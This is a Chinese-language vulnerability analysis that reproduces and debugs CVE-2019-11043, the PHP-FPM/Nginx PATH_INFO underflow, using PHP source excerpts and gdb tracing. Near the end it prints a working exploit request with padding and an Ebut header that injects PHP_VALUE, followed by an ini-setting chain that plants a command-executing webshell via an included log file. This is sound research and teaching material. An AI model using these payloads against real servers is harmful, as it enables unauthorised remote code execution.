CVE-2019-11043 调试复现与分析

 

一、漏洞介绍

​ CVE-2019-11043漏洞是PHP 7.x版本下FPM配合不恰当的Nginx配置可以导致RCE的一个漏洞,影响的具体版本如下:PHP 7.1版本小于7.1.33;PHP 7.2版本小于7.2.24;PHP 7.3版本小于7.3.11。这个洞是国外安全研究员在做CTF题目时意外发现的,当发送特定的带有%0a的URL请求时会造成服务器响应异常。下面通过复现和调试分析来细看这个CVE漏洞。

 

二、浅析与复现

1、在详细调试这个漏洞之前,需要对几个重要的前置知识进行简单了解。

(1、PHP-FPM、Nginx对PATH_INFO的获取。

CGI的环境变量PATH_INFO的内容是URL中的一部分,例如请求URL为下面所示时,PATH_INFO获得的值为/yunsle1/yunsle2

http://10.211.55.6/index.php/yunsle1/yunsle2?a=yunsle

这个漏洞对Nginx的配置有要求,使用fastcgi_split_path_info的特定正则形式去匹配带有%0a的URL时,PATH_INFO会得到空字符串。Nginx配置如下:

location ~ [^/].php(/|$) {
​        fastcgi_split_path_info ^(.+?.php)(/.*)$;
​        include fastcgi_params;
​        fastcgi_param  PATH_INFO    $fastcgi_path_info;
​        fastcgi_param SCRIPT_FILENAME  $document_root$fastcgi_script_name;
​        fastcgi_param PATH_TRANSLATED  $document_root$fastcgi_path_info;
​        fastcgi_pass 127.0.0.1:9000;
}

此时构造请求为下面所示时,正则^(.+?.php)(/.*)$碰到%0a后导致后面括号内获得的PATH_INFO值会为

http://10.211.55.6/index.php/yun%0asle1/yunsle2?a=yunsle

(2、PHP-FPM中存储请求相关的环境变量数据结构。

1、// 管理fcgi_data_seg等
typedef struct _fcgi_hash {
    fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
    fcgi_hash_bucket  *list;
    fcgi_hash_buckets *buckets;        //存放请求环境变量的哈希表,键值对数据存在下面的data
    fcgi_data_seg     *data;            //存放请求环境变量键值对数据
} fcgi_hash;

2、//存放请求环境键值对的数据结构
typedef struct _fcgi_data_seg {
    char                  *pos;
    char                  *end;
    struct _fcgi_data_seg *next;
    char                   data[1];
} fcgi_data_seg;

这里需要强调两个重要的数据结构,分别是fcgi_hash_bucketsfcgi_data_seg,前者保存着请求的环境变量的键值对的哈希表,而后者是存储这些具体键值对数据的地方。可以通过内存图简单看出它们的关系:

buckets:

data:

2、漏洞调试复现

为了对漏洞进行调试分析,在这里没有使用P神的vulhub搭建环境。选择虚拟机编译PHP环境并且开启调试信息,方便后续使用gdb进行跟踪:

./configure --prefix=/home/php7.2.20 --enable-phpdbg-debug --enable-debug --enable-fpm CFLAGS="-g3 -gdwarf-4"

1、加了-g3的参数后,gcc编译的时候,会将扩展的debug信息编译进二进制文件里面,包括宏定义信息。
2、DWARF是一种应用的比较广泛的elf(可执行和链接格式)。这边的-gdwarf-4意思是使用版本4的格式,对dwarf格式感兴趣的,可以看其他相关资料。

并且为了方便调试,将PHP-FPM的工作模式设定为单个work进程。另外安装Nginx,使用前置知识中的配置:

location ~ [^/].php(/|$) {
​        fastcgi_split_path_info ^(.+?.php)(/.*)$;
​        include fastcgi_params;
​        fastcgi_param  PATH_INFO    $fastcgi_path_info;
​        fastcgi_param SCRIPT_FILENAME  $document_root$fastcgi_script_name;
​        fastcgi_param PATH_TRANSLATED  $document_root$fastcgi_path_info;
​        fastcgi_pass 127.0.0.1:9000;
}

访问站点进行测试,正常返回内容,一切准备工作就绪:

接着直接使用原作者的Go版本的EXP,但是没有成功。一开始怀疑是版本问题,但是测试7.3.10版本PHP同样没有成功。

碰到这情况,只能进去分析一波漏洞点看看问题在什么地方(函数init_request_info):https://github.com/php/php-src/blob/php-7.3.10/sapi/fpm/fpm/fpm_main.c#L1151。

int ptlen = strlen(pt);
int slen = len - ptlen;
//pilen是env_path_info的长度,env_path_info就是PATH_INFO的值,PATH_INFO为空时pilen为0
int pilen = env_path_info ? strlen(env_path_info) : 0;
int tflag = 0;
char *path_info;
if (apache_was_here) {
  /* recall that PATH_INFO won't exist */
  path_info = script_path_translated + ptlen;
  tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
  //当env_path_info为空时,path_info赋值为env_path_info地址+0-slen,在这slen长度可控,导致path_info下溢
  path_info = env_path_info ? env_path_info + pilen - slen : NULL;
  tflag = (orig_path_info != path_info);
}

代码中slen是请求中的部分长度,当请求URL为http://10.211.55.6/index.php/yunsle1/%0ayunsle2?a=yunsle时,slen是/yunsle1/%0ayunsle2的长度:17。

上面注释的地方解释了这个漏洞的本质所在,PATH_INFO为空——》env_path_info为空——》pilen为0且slen可控——》path_info下溢。

紧接着这段代码之后是如下代码:

if (orig_path_info) {
  char old;

  FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
  old = path_info[0];
  path_info[0] = 0;        //<----- 一字节写0 
  if (!orig_script_name ||
      strcmp(orig_script_name, env_path_info) != 0) {
    if (orig_script_name) {
      FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//<----写fastcgi环境变量
    }
    SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
  } else {
    SG(request_info).request_uri = orig_script_name;
  }

在path_info下溢之后,执行了path_info[0] = 0;,向下溢的地址写了一字节的0,这就造成了可控地址写0的能力。但是这个能力有什么用呢?我们继续往下看,下面代码刚好还有写fastcgi环境变量的操作,这个漏洞的利用思路是通过这一字节写0能够达到写环境变量的目的,最终RCE。于是这个一字节写0操作需要写特定的地方才能达到目的。

我们前置知识中介绍了fcgi_hash_bucketsfcgi_data_seg结构体,如果能够在fcgi_hash_buckets中写入PHP环境变量的键值对就可以,那么就需要搞清楚数据是怎么写入到fastcgi键值对中。

FCGI_PUTENV函数——》fcgi_hash_set函数——》fcgi_hash_strndup函数

char* fcgi_putenv(fcgi_request *req, char* var, int var_len, char* val)
{
    if (!req) return NULL;
    if (val == NULL) {
        fcgi_hash_del(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len);
        return NULL;
    } else {
        return fcgi_hash_set(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len, val, (unsigned int)strlen(val));  //<---------
    }
}
static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
{
......
    p = h->buckets->data + h->buckets->idx;
    h->buckets->idx++;
    p->next = h->hash_table[idx];
    h->hash_table[idx] = p;
    p->list_next = h->list;
    h->list = p;
    p->hash_value = hash_value;
    p->var_len = var_len;
    p->var = fcgi_hash_strndup(h, var, var_len);    //<---------写入键
    p->val_len = val_len;
    p->val = fcgi_hash_strndup(h, val, val_len);    //<---------写入值
    return p->val;
}
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
......
    ret = h->data->pos;        //<---------
    memcpy(ret, str, str_len);    //<--------- 这是关键,可以看到数据是写到fcgi_data_seg的pos地址中的
    ret[str_len] = 0;
    h->data->pos += str_len + 1;
    return ret;
}

所以需要将一字节写0的应用到能够修改fcgi_data_seg的低位,达到向fcgi_hash_buckets写环境变量的进一步操作。

还需要注意的是,后面PHP-FPM在取环境变量的值时,会对fcgi_hash_buckets中键值对做哈希值的校验,也就是说如果只是向fcgi_hash_buckets写了PHP的环境变量,如果验证过不了还是无效的。

对键的哈希操作如下所示:

#define FCGI_HASH_FUNC(var, var_len) 
    (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : 
        (((unsigned int)var[3]) << 2) + 
        (((unsigned int)var[var_len-2]) << 4) + 
        (((unsigned int)var[var_len-1]) << 2) + 
        var_len)

这里漏洞发现者找到了和PHP_VALUE相同HASH的另一个键:HTTP_EBUT。它们的长度都是9,并且经过上述哈希操作后的结果都一样。而HTTP_EBUT是通过HTTP请求头中带Ebut: XXXXXXX得到的,当HTTP请求头带上这个键值对,然后想办法用PHP_VALUE覆盖掉这个HTTP_EBUT位置的键值对,就可以合法成功写入PHP环境变量了。

我们通过调试看整个过程。

将单个work进程的PHP-FPM运行后,我们查看进程pid,然后通过gdb依附上去:

gdb -p 6483

接着下断到函数init_request_info,并发送构造的漏洞验证请求(根据漏洞作者EXP改造),其中大量Q和大量+的作用在后面会提到:

GET /index.php/PHP_VALUE%0asession.auto_start=0;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: 10.211.55.6
User-Agent: Mozilla/5.0
Accept-Encoding: 
D-Gisos: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ebut: yunsleyunsle

由于带有%0a,导致env_path_info为空,slen的长度为34:

此时request.env.datafcgi_data_seg结构)的内容如下,分别是pos、end、next和数据的data。由于构造的请求的query带有大量的填充字符Q,使得PATH_INFO刚好在一个新的fcgi_data_seg中data的开头:

继续执行后,path_info下溢,地址为env_path_info - 34,刚好指向了request.env.data的pos:

接着执行一字节写0操作,把request.env.data.pos最低位改写:

这时request.env.data.pos指向内存数据如下所示:

可以看到,这里指向了HTTP_EBUT上方的一堆+的区域。所以EXP的请求中一堆的+的作用就是为了填充区域,使得request.env.data.pos指向想要的地方。

接着执行写fastcgi环境变量操作:

跟进到fcgi_hash_set中,准备执行fcgi_hash_strnduprequest.env.data.pos中写数据:

第一次是在fcgi_hash_strndup中进行var写操作,并且request.env.data.pos后移17的长度:

此时再次查看request.env.data.pos数据:

第二次是写val的值:

写完后再次查看request.env.data.pos数据,可以看到HTTP_EBUT的地址被覆盖为PHP_VALUE,到这里就成功完成了PHP环境变量的写入!

我们查看fcgi_hash_buckets中的变量,可以找到覆盖后的键值对:

覆盖前的键值对:

最后,如果请求写入PHP环境变量session.auto_start=1开启session,响应包的HTTP头中会带有Set-Cookie字段:

能够写环境变量,就可以进一步构造RCE了,使用环境变量写入链输出内容到日志文件,然后包含日志文件进行代码执行:

rce_chain = [
    "error_reporting=2",
    "short_open_tag=1",
    "html_errors=0",
    "log_errors=1",
    "error_log=/tmp/l",
    "include_path=/tmp",
    "output_handler=<?/*",
    "output_handler=*/`",
    "output_handler=''",
    "extension_dir='`?>'",
    "extension=$_GET[a]",
    "auto_prepend_file=l"
]

 

三、总结

主要流程:%0a使得正则获得PATH_INFO为空——》path_info下溢,可控地址一字节写0——》构造写入PHP环境变量——》RCE

1、其中请求query中的大量字符串Q是为了让PATH_INFO刚好在fcgi_data_seg的数据段开头;

2、HTTP头中的大量+是为了制造偏移,使得后面环境变量写入刚好覆盖HTTP_EBUT;

3、HTTP头中的Ebut是为了PHP_VALUEHTTP_EBUT哈希计算一致使得覆盖后能成功被应用。

对于不同的服务器环境,需要的Q+填充不一样,需要爆破尝试

学习过程中刚好也用Python实现了下此CVE的EXP,可以判断目标服务器work进程数量进行全进程污染:

https://github.com/0th3rs-Security-Team/CVE-2019-11043

 

四、引用

https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html
https://xz.aliyun.com/t/6671
https://paper.seebug.org/1063/
https://forum.90sec.com/t/topic/558

(完)